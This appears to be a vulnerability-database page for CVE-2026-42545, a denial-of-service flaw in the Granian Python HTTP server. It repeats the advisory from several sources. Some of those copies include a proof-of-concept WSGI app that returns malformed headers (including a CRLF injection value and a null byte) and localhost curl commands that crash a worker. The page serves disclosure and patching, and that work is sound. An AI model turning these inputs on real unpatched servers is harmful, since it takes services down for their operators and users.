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CVE-2026-42545

Granian: DoS via WSGI response header panic

5.9 MediumFix available

Granian is a Rust HTTP server for Python applications. From 0.2.0 to 2.7.4, Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error. This vulnerability is fixed in 2.7.4.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.27%Up 0.2 points since May 13, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.9

Granian: DoS via WSGI response header panic

Granian is a Rust HTTP server for Python applications. From 0.2.0 to 2.7.4, Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error. This vulnerability is fixed in 2.7.4.

Record
CVE-2026-42545
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-248, CWE-755
Updated
2026-11-02
EUVDEUVD-2026-29856 5.9

Granian is a Rust HTTP server for Python applications. From 0.2.0 to 2.7.4, Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error. This vulnerability is fixed in 2.7.4.

Record
EUVD-2026-29856
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-f5p7-9fr5-8jmj 5.9

Granian vulnerable to DoS via WSGI response header panic

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

  • a header name containing a space
  • a header value containing \r\n
  • a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]


granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

  • the worker aborts after any of the crash paths
  • subsequent requests fail until the worker is restarted

Impact

  • Worker process denial of service
  • A single bad response kills one worker
  • Application bugs become process crashes instead of request-scoped failures
Record
GHSA-f5p7-9fr5-8jmj
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-248, CWE-755
Updated
2026-11-02
NVD 5.9

Granian is a Rust HTTP server for Python applications. From 0.2.0 to 2.7.4, Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error. This vulnerability is fixed in 2.7.4.

Record
CVE-2026-42545
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-248, CWE-755
Updated
2026-11-02
OSV 5.9

Granian: DoS via WSGI response header panic

Granian is a Rust HTTP server for Python applications. From 0.2.0 to 2.7.4, Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error. This vulnerability is fixed in 2.7.4.

Record
CVE-2026-42545
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-248, CWE-755
Updated
2026-11-02
OSVGHSA-f5p7-9fr5-8jmj 5.9

Granian vulnerable to DoS via WSGI response header panic

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

  • a header name containing a space
  • a header value containing \r\n
  • a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]


granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

  • the worker aborts after any of the crash paths
  • subsequent requests fail until the worker is restarted

Impact

  • Worker process denial of service
  • A single bad response kills one worker
  • Application bugs become process crashes instead of request-scoped failures
Record
GHSA-f5p7-9fr5-8jmj
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-248, CWE-755
Updated
2026-11-02
OSVPYSEC-2026-2502 5.9

Granian vulnerable to DoS via WSGI response header panic

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

  • a header name containing a space
  • a header value containing \r\n
  • a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]


granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

  • the worker aborts after any of the crash paths
  • subsequent requests fail until the worker is restarted

Impact

  • Worker process denial of service
  • A single bad response kills one worker
  • Application bugs become process crashes instead of request-scoped failures
Record
PYSEC-2026-2502
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
granian
PyPI
 0.2.0 up to 2.7.4
2.7.4
granian
PyPI
 0.2.0 up to 2.7.4, plus listed versions
0.2.60.3.20.4.30.5.30.6.1
Show 43 moreShow less
0.7.61.0.21.1.21.2.31.3.21.4.41.5.21.6.41.7.62.0.02.0.12.1.02.1.12.1.22.2.02.2.12.2.22.2.32.2.42.2.52.2.62.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.5.02.5.12.5.22.5.32.5.42.5.52.5.62.5.72.6.02.6.12.7.02.7.12.7.22.7.3
2.7.4
granian
PyPI
 0.2.0 up to 2.7.4, plus listed versions
0.2.60.3.20.4.30.5.30.6.1
Show 45 moreShow less
0.7.61.0.21.1.21.2.31.3.01.3.11.3.21.4.01.4.11.4.21.4.31.4.41.5.01.5.11.5.21.6.01.6.11.6.21.6.31.6.41.7.01.7.11.7.21.7.31.7.41.7.51.7.62.0.02.0.12.1.02.1.12.1.22.2.02.2.12.2.22.2.32.2.42.2.52.2.62.3.02.3.12.3.22.3.32.3.42.4.0
2.7.4

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-42545 is a medium vulnerability (CVSS 5.9) in Emmett-framework Granian, published May 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 19th percentile. Fixed in granian 2.7.4.

References

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Left out here: 16 versions. The JSON record has them.

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